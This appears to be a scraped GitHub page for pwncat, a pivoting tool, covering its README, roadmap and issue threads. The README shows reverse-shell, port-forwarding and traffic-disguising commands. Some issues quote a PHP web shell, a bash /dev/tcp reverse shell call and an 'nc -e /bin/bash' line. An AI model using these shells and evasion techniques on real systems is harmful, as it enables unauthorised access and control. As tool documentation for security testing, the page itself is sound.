INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

Port forwarding magic

Local TCP port forwarding

Scenario

  1. Alice can be reached from the Outside (TCP/UDP)
  2. Bob can only be reached from Alice's machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat 72.0.0.1 3306     |      pwncat \                 |
                              |        -L 72.0.0.1:3306 \     |
                              |         10.0.0.1 3306         |

Local UDP port forwarding

Scenario

  1. Alice can be reached from the Outside (but only via UDP)
  2. Bob can only be reached from Alice's machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

Remote TCP port forward

Scenario

  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (TCP/UDP)
  3. Bob can only be reached from Alice's machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     TCP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -l 4444           |      pwncat --reconn \        |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Remote UDP port forward

Scenario

  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (UDP: DNS only)
  3. Bob can only be reached from Alice's machine
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Outbound port hopping

If you have no idea what outbound ports are allowed from the target machine, you can instruct the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.

# Reverse shell on target (the client)
# --exec            # The command shell the client should provide
# --reconn          # Instruct it to reconnect endlessly
# --reconn-wait     # Reconnect every 0.1 seconds
# --reconn-robin    # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

Once the client is up and running, either use raw sockets to check for inbound traffic or use something like Wireshark or tcpdump to find out from where the client is able to connect back to you,

If you found one or more ports that the client is able to connect to you, simply start your listener locally and wait for it to come back.

pwncat -l <ip> <port>

If the client connects to you, you will have a working reverse shell. If you stop your local listening server accidentally or on purpose, the client will probe ports again until it connects successfully. In order to kill the reverse shell client, you can use --safe-word (when starting the client).

If none of this succeeds, you can add other measures such as using UDP or even wrapping your packets into higher level protocols, such as HTTP or others. See PSE or examples below for how to transform your traffic.

Pwncat Scripting Engine (PSE)

pwncat offers a Python based scripting engine to inject your custom code before sending and after receiving data.

How it works

You will simply need to provide a Python file with the following entrypoint function:

def transform(data, pse):
    # Example to reverse a string
    return data[::-1]

Both, the function name must be named transform and the parsed arguments must be named data and pse. Other than that you can add as much code as you like. Each instance of pwncat can take two scripts:

  1. --script-send: script will be applied before sending
  2. --script-recv: script will be applied after receiving

See here for API and more details

Example 1: Self-built asymmetric encryption

PSE: asym-enc source code

This will encrypt your traffic asymmetrically. It is just a very basic ROT13 implementation with different shift lengths on both sides to emulate asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.

# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

Example 2: Self-built HTTP POST wrapper

PSE: http-post source code

This will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic.

# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

Port scanning

TCP

$ sudo netstat -tlpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address     State
tcp        0      0 127.0.0.1:631           0.0.0.0:*           LISTEN
tcp        0      0 127.0.0.1:25            0.0.0.0:*           LISTEN
tcp        0      0 127.0.0.1:4444          0.0.0.0:*           LISTEN
tcp        0      0 0.0.0.0:902             0.0.0.0:*           LISTEN
tcp6       0      0 ::1:631                 :::*                LISTEN
tcp6       0      0 ::1:25                  :::*                LISTEN
tcp6       0      0 ::1:4444                :::*                LISTEN
tcp6       0      0 :::1053                 :::*                LISTEN
tcp6       0      0 :::902                  :::*                LISTEN

UDP

The following UDP ports are exposing:

$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*
nmap
$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST
Warning: 127.0.0.1 giving up on port because retransmission cap hit (2).
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000035s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 65529 closed ports
PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
631/udp   open|filtered ipp
1053/udp  open|filtered remote-as
5353/udp  open|filtered zeroconf
39856/udp open|filtered unknown
40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real    2m52.446s
user    0m0.844s
sys     0m2.571s
netcat
$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s
pwncat
$ time pwncat -z localhost 1-65535 -u -4
Scanning 65535 ports
[+]    68/UDP open   (IPv4)
[+]   631/UDP open   (IPv4)
[+]  1053/UDP open   (IPv4)
[+]  5353/UDP open   (IPv4)
[+] 39856/UDP open   (IPv4)

real    0m7.309s
user    0m6.465s
sys     0m4.794s

โ„น๏ธ FAQ

See complete FAQ here: https://docs.pwncat.org/en/latest/faq.html

Q: Is pwncat compatible with netcat?

A: Yes, it is fully compatible in the way it behaves in connect, listen and zero-i/o mode. You can even mix pwncat with netcat, ncat or similar tools.

Q: Does it work on X?

A: In its current state it works with Python 2, 3 pypy2 and pypy3 and is fully tested on Linux and MacOS. Windows support is available, but is considered experimental (see integration tests).

Q: I found a bug / I have to suggest a new feature! What can I do?

A: For bug reports or enhancements, please open an issue here.

Q: How can I support this project?

A: Thanks for asking! First of all, star this project to give me some feedback and see CONTRIBUTING.md for details.

๐ŸŒ… Artwork

Type Artist Image License
Logo maifz pwncat logo
Banner 1 maifz pwncat banner
Banner 2 maifz pwncat banner

๐Ÿ”’ cytopia sec tools

Below is a list of sec tools and docs I am maintaining.

Name Category Language Description
offsec Documentation Markdown Offsec checklist, tools and examples
header-fuzz Enumeration Bash Fuzz HTTP headers
smtp-user-enum Enumeration Python 2+3 SMTP users enumerator
urlbuster Enumeration Python 2+3 Mutable web directory fuzzer
pwncat Pivoting Python 2+3 Cross-platform netcat on steroids
kusanagi Payload Generator Python 3 Bind- and Reverse shell payload generator
badchars Reverse Engineering Python 2+3 Badchar generator
fuzza Reverse Engineering Python 2+3 TCP fuzzing tool
docker-dvwa Playground PHP DVWA with local priv esc challenges

:octocat: Contributing

See Contributing guidelines to help to improve this project.

โ— Disclaimer

This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.

๐Ÿ“„ License

MIT License

Copyright (c) 2020 cytopia

pwncat's People

Contributors

cytopia avatar dyrtool avatar noraj avatar stanlsslav avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pwncat's Issues

Add Keyboard Interrupt Exception

ISSUE TYPE

  • Add a handler for keyboard interrupt events

SUMMARY

When ctrl-c is pressed, you get a prompt to exit the session or continue and ignore

Goal

Further make pwncat ctrl-c proof

__ROADMAP__

Roadmap

This issue will stay open and serves as a public Roadmap to show what needs to be done until a release will be ready. Comments serve discussions and to gather new features

Release v0.1.0

The current implementation of pwncat is in alpha state as not all features are available. This will be the first feature-ready release.

  • #19 implement Connect mode
  • #20 implement -l - listen mode
  • #21 implement -u - udp connections
  • #22 implement --crlf - change to windows linefeeds
  • #23 implement -v - verbosity
  • #24 implement -e - command execution
  • #25 implement -n - don't resolve DNS
  • #30 implement -L - local port forwarding
  • #31 implement -R - remote port forwarding
  • #32 implement -z - port scan mode / zero io mode
  • #53 implement --keep - keep listening for new connection (TCP)
  • #28 implement --reconn - re-try outbound connection periodically
  • #28 implement --reconn-wait - wait between re-try attempts
  • #43 implement --reconn-robin - (client only) round robin change outbound ports
  • #44 implement --rebind - try to rebind if it fails (only during init phase)
  • #45 implement --rebind-wait - wait between re-rebind attempts
  • #46 implement --rebind-robin - round robin re-bind attempts
  • #29 implement --udp-ping-intvl - faking a TCP-like stateful connection over UDP
  • #47 change --udp-ping-intvl to --ping-intvl (to allow TCP as well)
  • #48 Implement --ping-init - single initial ping
  • #49 Implement --ping-word - what char/string to send as ping
  • #50 Implement --ping-robin - round-robin ports while pinging
  • #51 Implement --safe-word - shut down remote end immediately
  • #62 Pwncat Scripting Engine (PSE) with --script-send and --script-recv
  • IPv6 support
  • #79 implement --udp-sconnect Stateless UDP connect
  • #55 Make positional port argument accept multiple values

Future Releases

Gathering ideas for future release.

  • Provide binaries for Linux, MacOS and Windows (in case Python is not available)
  • implement daemonize for headless execution -d
  • --http - tunnel via http
  • --https tunnel via https

IPv6 link-local address causes "Invalid argument" / "Bind Error"

ISSUE TYPE

  • Bug Report

OS / ENVIRONMENT

  1. Operating system: Ubuntu 20.04
  2. Python version: 3.8.2
  3. Command with highest logging output level is attached.

Here is the terminal output (address is masked for privacy).

$ pwncat -V
pwncat: Version 0.1.0 (https://github.com/cytopia/pwncat) by cytopia

$ pwncat -vvvv fe80::xxxx:xxxx:xxxx:xxxx%eth0 7777
2020-08-16 13:52:30,945 DEBUG [MainThread] 3391:__init__(): STDOUT isatty: True
2020-08-16 13:52:30,945 DEBUG [MainThread] 3392:__init__(): STDIN  isatty: True
2020-08-16 13:52:30,945 DEBUG [MainThread] 3393:__init__(): STDIN  posix:  False (posix)
2020-08-16 13:52:30,945 DEBUG [MainThread] 1465:create_socket(): Creating (family 10/IPv6, TCP) socket
2020-08-16 13:52:30,945 DEBUG [MainThread] 1485:create_socket(): Disabling IPv4 support on IPv6 socket
2020-08-16 13:52:30,945 DEBUG [MainThread] 1465:create_socket(): Creating (family 2/IPv4, TCP) socket
2020-08-16 13:52:30,946 DEBUG [MainThread] 1429:gethostbyname(): Resolved IPv6 host: fe80::xxxx:xxxx:xxxx:xxxx
2020-08-16 13:52:30,946 DEBUG [MainThread] 1435:gethostbyname(): Resolving IPv4 host: fe80::xxxx:xxxx:xxxx:xxxx%eth0 failed: [Errno -9] Address family for hostname not supported
2020-08-16 13:52:30,946 DEBUG [MainThread] 1641:connect(): Connecting to fe80::xxxx:xxxx:xxxx:xxxx:7777 (family 10/IPv6, TCP)
2020-08-16 13:52:30,946 ERROR [MainThread] 2122:run_client(): Connecting to fe80::xxxx:xxxx:xxxx:xxxx:7777 (family 10/IPv6, TCP) failed: [Errno 22] Invalid argument
2020-08-16 13:52:30,946 INFO [MainThread] 2976:__client_reconnect_to_server(): Reconnect count is used up. Shutting down.

$ pwncat -vvvv -l fe80::xxxx:xxxx:xxxx:xxxx%eth0 7777
2020-08-16 13:52:35,838 DEBUG [MainThread] 3391:__init__(): STDOUT isatty: True
2020-08-16 13:52:35,838 DEBUG [MainThread] 3392:__init__(): STDIN  isatty: True
2020-08-16 13:52:35,838 DEBUG [MainThread] 3393:__init__(): STDIN  posix:  False (posix)
2020-08-16 13:52:35,838 DEBUG [MainThread] 1465:create_socket(): Creating (family 10/IPv6, TCP) socket
2020-08-16 13:52:35,838 DEBUG [MainThread] 1485:create_socket(): Disabling IPv4 support on IPv6 socket
2020-08-16 13:52:35,838 DEBUG [MainThread] 1465:create_socket(): Creating (family 2/IPv4, TCP) socket
2020-08-16 13:52:35,839 DEBUG [MainThread] 1429:gethostbyname(): Resolved IPv6 host: fe80::xxxx:xxxx:xxxx:xxxx
2020-08-16 13:52:35,839 DEBUG [MainThread] 1435:gethostbyname(): Resolving IPv4 host: fe80::xxxx:xxxx:xxxx:xxxx%eth0 failed: [Errno -9] Address family for hostname not supported
2020-08-16 13:52:35,839 DEBUG [MainThread] 2187:run_server(): Removing (family 2/IPv4) due to: Resolving IPv4 host: fe80::xxxx:xxxx:xxxx:xxxx%eth0 failed: [Errno -9] Address family for hostname not supported
2020-08-16 13:52:35,839 DEBUG [MainThread] 1517:bind(): Binding (family 10/IPv6, TCP) socket to fe80::xxxx:xxxx:xxxx:xxxx:7777
2020-08-16 13:52:35,839 DEBUG [MainThread] 2207:run_server(): Removing (family 10/IPv6) due to: Binding (family 10/IPv6, TCP) socket to fe80::xxxx:xxxx:xxxx:xxxx:7777 failed: [Errno 22] Invalid argument
2020-08-16 13:52:35,839 ERROR [MainThread] 2216:run_server(): Bind Error: Could not bind any socket
2020-08-16 13:52:35,839 INFO [MainThread] 3034:__server_rebind(): Rebind count is used up. Shutting down.

STEPS TO REPRODUCE

Same as above log.

EXPECTED BEHAVIOUR

Works same as IPv6 global unicast address.

ACTUAL BEHAVIOUR

Invalid argument / Bind Error

Implement execute mode

Be able to execute binaries (e.g.: -e /bin/bash or -e cmd.exe) via bind and reverse shells.

Implement log levels

Be able to have different log levels via (-v, -vv, -vvv, -vvvv, -vvvvv):

  • error
  • warn
  • info
  • debug
  • trace

windows question

ISSUE TYPE

windows

Question

Does this including injection work on windows?

Great tool by the way.

Please implement ability to port forward after catching reverse shell

ISSUE TYPE

  • Feature request

SUMMARY

Currently, you cannot combine a listener (-l) with a port forward (-L or -R). I would like a way to create a port forward through this tunnel after my listener has caught a reverse shell. I recommend implementing a command in the shell similar to the upload or download commands that will allow you to specify ports to forward. reverse and local shouldn't conflict with any host shell commands, or perhaps reverse-pf and local-pf.

Goal

Often I find that after connecting to a machine that I need to add port forwarding for connecting to some service that is running on that machine. I do not currently know an easy way to upgrade a shell with port forwarding other than compiling an exploit and using meterpreter, using plink or chisel, or if I have credentials, using SSH. Most of these require running an additional binary on the host that may or may not be blocked from running.

UDP mode not working in background on GNU/Linux

Hi there,

When running the pwncat with option -u (for UDP mode) it does not work in background on GNU/Linux.

Example:

$ ./bin/pwncat -u -l 127.0.0.1 9999 &
[1]+ Stopped ./bin/pwncat -u -l 127.0.0.1 9999

A few seconds after starting it stops listening on the specified UDP port.

Best Regards,
mt

Implement reconnect

Implement reconnect (--reconn) and reconnect wait time (--recon-wait). Reconnect option is only used after a successful initial connection has already been made.

Pwncat Scripting Engine (PSE)

Pwncat Scripting Engine (PSE)

  • Feature request

SUMMARY

Add support for Python scripting with external files

Goal

Be able to modify send and/or received data via custom Python scripts.

Add SSL WRAPPER

ISSUE TYPE

  • Add feature to wrap sockets in SSL tunnel either dynamically (change the SSL certs/create certs on system) or statically (certs pre-pasted in pwncat)

SUMMARY

Would like to be able to set up 2 pwncat instances (client and server) and have the option to make the communications encrypted. I see the easiest way to do this is to create a flag --ssl which then wraps the socket; the pwncat server would also then need a method to try via normal communications and if fails try the SSL function

Goal

The goal is to encrypt the stream which would future evade network detection/protection systems

Netcat Compatibility

Trying to send connection from netcat to pwncat, is that possible?

Victim machine command injection:
nc IP PORT -e /bin/bash

On my attacking machine:
pwncat -l IP PORT

It fails with the error whenever a command is run. Connection does get accepted.
ERROR: Socket OS Error: [Errno 9] Bad file descriptor

connection failed: channel unexpectedly closed

File PHP content:

" . shell_exec($_REQUEST['cmd']) . ""; ?>

URL Exec:
http://192.168.43.6/blog/wp-content/plugins/wp-file-manager/lib/files/injnc2.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.43.3/441%3E%261%22

sudo] password for parrot:
โ”Œโ”€[root@parrot]โ”€[/home/parrot]
โ””โ”€โ”€โ•ผ #pwncat-cs -lp 441
[19:15:38] Welcome to pwncat ๐Ÿˆ! main.py:164
bound to 0.0.0.0:441 โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”[19:15:55] connection failed: listener aborted manager.py:957
(local) pwncat$ exit
[19:15:57] closing interactive prompt manager.py:957

Some solution?

OS: Parrot OS
PWNCat:
โ”€โ”€โ•ผ #pwncat --version
pwncat: Version 0.1.1 (https://github.com/cytopia/pwncat) by cytopia

Be able to specify source address and port for clients

ISSUE TYPE

  • Feature request

SUMMARY

By default, when a client connects to a server, the operating systems chooses the the source port and address. As it is also possible to specify that yourself, pwncat should have it too to be more flexible

Goal

Be able to specify source address and port for clients for more feature-parity with netcat.

IPv6 self injection / port forwarding

ISSUE TYPE

  • Feature request

SUMMARY

Thanks for sharing your awsome tool. Self injection and port forwarding is so cool!
However, it seems only IPv4 address is supported for those features.

: is already used as separator for those options,
so ssh port fowarding like IPv6 notation (surrounded by []) may be better.

$ pwncat -l 4444 --self-inject /bin/bash:[xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx]:4445
$ pwncat -R [xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx]:4444 10.0.0.1 3306
$ pwncat -L [xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx]:5000 10.0.0.1 3306

I tried to implement in this way.
Please see this change. (Seems working, and passed make code/make lint)
If this is OK, I will open a new PR for it. How do you think?

Goal

We can specify IPv6 address for --self-inject/-R/-L.

setup.py: Multiple top-level packages discovered in a flat-layout

 * Build system packages:
 *   dev-python/setuptools         : 62.1.0-r1
>>> Source prepared.
>>> Configuring source in /var/tmp/portage/net-analyzer/pwncat-0.1.2/work/pwncat-0.1.2 ...
>>> Source configured.
>>> Compiling source in /var/tmp/portage/net-analyzer/pwncat-0.1.2/work/pwncat-0.1.2 ...
 * python3_9: running distutils-r1_run_phase distutils-r1_python_compile
python3.9 setup.py build -j 12
/usr/lib/python3.9/site-packages/setuptools/dist.py:757: UserWarning: Usage of dash-separated 'description-file' will not be supported in future versions. Please use the underscore name 'description_file' instead
  warnings.warn(
error: Multiple top-level packages discovered in a flat-layout: ['pse', 'man', 'art', 'share'].

To avoid accidental inclusion of unwanted files or directories,
setuptools will not proceed with this build.

If you are trying to create a single distribution with multiple packages
on purpose, you should not rely on automatic discovery.
Instead, consider the following options:

1. set up custom discovery (`find` directive with `include` or `exclude`)
2. use a `src-layout`
3. explicitly set `py_modules` or `packages` with a list of names

Add colorized log output

Implement colorized logging -c/--color with auto, never and always (similar to how grep is offering it)

Similar to #83, --self-inject does not detect python because client does not send server output of remote_command

ISSUE TYPE

  • Bug Report

OS / ENVIRONMENT

  1. Operating system: Linux
  2. Python version: 2.7, 3.9

Server:

./pwncat -l 192.168.10.184 9999 --self-inject /bin/sh:192.168.10.184:10000 -vvvvv
2022-08-09 13:43:45,186 DEBUG [MainThread] 3396:__init__(): STDOUT isatty: True
2022-08-09 13:43:45,186 DEBUG [MainThread] 3397:__init__(): STDIN  isatty: True
2022-08-09 13:43:45,186 DEBUG [MainThread] 3398:__init__(): STDIN  posix:  False (posix)
2022-08-09 13:43:45,186 DEBUG [MainThread] 1465:create_socket(): Creating (family 10/IPv6, TCP) socket
2022-08-09 13:43:45,186 DEBUG [MainThread] 1485:create_socket(): Disabling IPv4 support on IPv6 socket
2022-08-09 13:43:45,186 DEBUG [MainThread] 1465:create_socket(): Creating (family 2/IPv4, TCP) socket
2022-08-09 13:43:45,186 DEBUG [MainThread] 1414:gethostbyname(): Resolving IPv4 name not required, changing to IPv6: ::ffff:192.168.10.184
2022-08-09 13:43:45,186 DEBUG [MainThread] 1418:gethostbyname(): Resolving IPv4 host not required, already an IP: 192.168.10.184
2022-08-09 13:43:45,187 DEBUG [MainThread] 1517:bind(): Binding (family 10/IPv6, TCP) socket to ::ffff:192.168.10.184:9999
2022-08-09 13:43:45,187 DEBUG [MainThread] 1517:bind(): Binding (family 2/IPv4, TCP) socket to 192.168.10.184:9999
2022-08-09 13:43:45,187 DEBUG [MainThread] 2214:run_server(): Removing (family 10/IPv6) due to: Binding (family 10/IPv6, TCP) socket to ::ffff:192.168.10.184:9999 failed: [Errno 22] Invalid argument
2022-08-09 13:43:45,187 DEBUG [MainThread] 1545:listen(): Listening with backlog=0
2022-08-09 13:43:45,187 INFO [MainThread] 2247:run_server(): Listening on 192.168.10.184:9999 (family 2/IPv4, TCP)
2022-08-09 13:43:45,187 DEBUG [MainThread] 1574:accept(): Waiting for TCP client
2022-08-09 13:44:25,264 INFO [MainThread] 1591:accept(): Client connected from 192.168.10.254:5555 (family 2/IPv4, TCP)
[PWNCAT CnC] Checking if remote sends greeting...
2022-08-09 13:44:25,615 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350531 sec in 1/5 rounds
2022-08-09 13:44:25,965 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701250 sec in 2/5 rounds
2022-08-09 13:44:26,316 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.051963 sec in 3/5 rounds
2022-08-09 13:44:26,667 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.402650 sec in 4/5 rounds
2022-08-09 13:44:27,017 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.753344 sec in 5/5 rounds
[PWNCAT CnC] Checking if remote sends prefix/suffix to every request...
2022-08-09 13:44:27,018 DEBUG [MainThread] 1898:send(): Trying to send 15 bytes to 192.168.10.254:5555
2022-08-09 13:44:27,018 TRACE [MainThread] 1904:send(): Trying to send: b'echo "__pwn__"\n'
2022-08-09 13:44:27,018 DEBUG [MainThread] 1921:send(): Sent 15 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:27,368 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350471 sec in 1/5 rounds
2022-08-09 13:44:27,719 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701191 sec in 2/5 rounds
2022-08-09 13:44:28,070 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.051911 sec in 3/5 rounds
2022-08-09 13:44:28,420 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.402645 sec in 4/5 rounds
2022-08-09 13:44:28,771 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.753336 sec in 5/5 rounds
2022-08-09 13:44:28,771 DEBUG [MainThread] 4771:__set_remote_prefix(): Set suffix before: []
2022-08-09 13:44:28,771 DEBUG [MainThread] 4773:__set_remote_prefix(): Set suffix after:  []
[PWNCAT CnC] Remote does not send prefix
[PWNCAT CnC] Remote does not send suffix
2022-08-09 13:44:28,772 DEBUG [MainThread] 4827:__set_remote_python_path(): Probing for: which python3
2022-08-09 13:44:28,772 DEBUG [MainThread] 1898:send(): Trying to send 26 bytes to 192.168.10.254:5555
2022-08-09 13:44:28,772 TRACE [MainThread] 1904:send(): Trying to send: b'which python3 2>/dev/null\n'
2022-08-09 13:44:28,772 DEBUG [MainThread] 1921:send(): Sent 26 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:29,122 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350484 sec in 1/5 rounds
2022-08-09 13:44:29,473 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701201 sec in 2/5 rounds
2022-08-09 13:44:29,824 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.051899 sec in 3/5 rounds
2022-08-09 13:44:30,175 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.402663 sec in 4/5 rounds
2022-08-09 13:44:30,525 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 1.753401 sec in 5/5 rounds
[PWNCAT CnC] Response:
2022-08-09 13:44:30,526 DEBUG [MainThread] 4827:__set_remote_python_path(): Probing for: which python
2022-08-09 13:44:30,526 DEBUG [MainThread] 1898:send(): Trying to send 25 bytes to 192.168.10.254:5555
2022-08-09 13:44:30,526 TRACE [MainThread] 1904:send(): Trying to send: b'which python 2>/dev/null\n'
2022-08-09 13:44:30,526 DEBUG [MainThread] 1921:send(): Sent 25 bytes to 192.168.10.254:5555 (0 bytes remaining)
2022-08-09 13:44:30,877 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.350487 sec in 1/5 rounds
2022-08-09 13:44:31,228 TRACE [MainThread] 4481:send_recv(): Timeout: Receive timed out after 0.701441 sec in 2/5 rounds
